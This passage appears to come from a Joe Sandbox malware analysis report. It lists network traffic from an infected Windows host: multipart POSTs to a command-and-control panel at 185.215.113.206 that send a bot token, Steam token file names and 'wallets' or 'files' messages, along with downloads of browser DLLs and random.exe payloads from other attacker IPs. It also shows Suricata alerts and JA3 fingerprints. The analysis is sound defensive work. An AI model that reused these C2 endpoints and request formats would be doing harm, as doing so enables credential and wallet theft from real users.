Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file"------KFIJEGCBGIDGHIDHDGCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 2d 2d 0d 0a Data Ascii: ------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="file"------DGCFHIDAKECFHIEBFCGI--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAAAAFBKFIECAAKECGCHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="message"wallets------CBGCAFIIECBFIDHIJKFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCAEGDHJKFHJKFIJKJEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="message"files------EHCAEGDHJKFHJKFIJKJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 2d 2d 0d 0a Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="file"------EHJDGHJDBFIJKECAECAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECGIIIDAKJDHJKFHIEBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 2d 2d 0d 0a Data Ascii: ------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="message"ybncbhylepme------JECGIIIDAKJDHJKFHIEB--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIIJDHCGCBKECBFIJKKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 49 4a 44 48 43 47 43 42 4b 45 43 42 46 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 4a 44 48 43 47 43 42 4b 45 43 42 46 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 4a 44 48 43 47 43 42 4b 45 43 42 46 49 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------EGIIJDHCGCBKECBFIJKKContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------EGIIJDHCGCBKECBFIJKKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EGIIJDHCGCBKECBFIJKK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 36 32 37 37 30 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB62770B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 31 32 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1011212001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 31 32 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1011213001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 92.63.197.221 92.63.197.221

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: NOVOGARA-ASNL NOVOGARA-ASNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49823 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49859 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50001 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50024 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50026 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50027 -> 172.67.165.166:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 17_2_00B9BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

17_2_00B9BE30

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
